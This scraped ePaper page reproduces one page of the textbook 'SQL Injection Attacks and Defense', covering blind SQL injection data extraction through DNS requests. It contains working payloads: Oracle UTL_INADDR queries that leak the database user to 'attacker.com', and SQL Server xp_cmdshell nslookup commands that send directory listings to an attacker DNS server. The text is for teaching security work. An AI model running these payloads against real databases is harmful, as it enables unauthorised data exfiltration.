28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

252 Chapter 5 • Blind <strong>SQL</strong> <strong>Injection</strong> Exploitation<br />

<strong>SQL</strong> Server <strong>and</strong> Oracle both have the ability to directly or indirectly cause a DNS<br />

request to be made. Under Oracle, this is possible with the UTL_INADDR package,<br />

which has an explicit GET_HOST_ADDRESS function to look up forward entries <strong>and</strong><br />

a GET_HOST_NAME function to look up reverse entries:<br />

UTL_INADDR.GET_HOST_ADDRESS('www.victim.com') returns 192.168.0.1<br />

UTL_INADDR.GET_HOST_NAME('192.168.0.1') returns www.victim.com<br />

These are more useful than the previously covered DBMS_LOCK.SLEEP function,<br />

because the DNS functions do not require PL/<strong>SQL</strong> blocks; thus, you can insert them into<br />

subqueries or predicates. The next example shows how you can extract the database login<br />

via an insertion into a predicate:<br />

SELECT * FROM reviews WHERE<br />

review_author=UTL_INADDR.GET_HOST_ADDRESS((SELECT USER FROM<br />

DUAL)||'.attacker.com')<br />

<strong>SQL</strong> Server does not support such an explicit lookup mechanism, but it is possible to<br />

indirectly initiate DNS requests through certain stored procedures. For example, you could<br />

execute the nslookup comm<strong>and</strong> through the xp_cmdshell procedure (available only to the<br />

administrative user, <strong>and</strong> in <strong>SQL</strong> Server 2005 <strong>and</strong> later disabled by default):<br />

EXEC master..xp_cmdshell 'nslookup www.attacker.com'<br />

The advantage of using nslookup is that the attacker can specify his own DNS server to<br />

which the request should be sent directly. If the attacker’s DNS server is publicly available at<br />

192.168.1.1, the <strong>SQL</strong> snippet to directly look up DNS requests is as follows:<br />

EXEC master..xp_cmdshell 'nslookup www.attacker.com 192.168.1.1'<br />

You can tie this into a little shell script, as follows, to extract directory contents:<br />

EXEC master..xp_cmdshell 'for /F "tokens=5" %i in (''dir c:\'') do nslookup<br />

%i.attacker.com'<br />

The preceding code produces the following lookups:<br />

has.attacker.com.victim.com.<br />

has.attacker.com.<br />

6452-9876.attacker.com.victim.com.<br />

6452-9876.attacker.com.<br />

AUTOEXEC.BAT.attacker.com.victim.com.<br />

AUTOEXEC.BAT.attacker.com.<br />

comment.doc.attacker.com.victim.com.<br />

comment.doc.attacker.com.<br />

wmpub.attacker.com.victim.com.<br />

wmpub.attacker.com.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!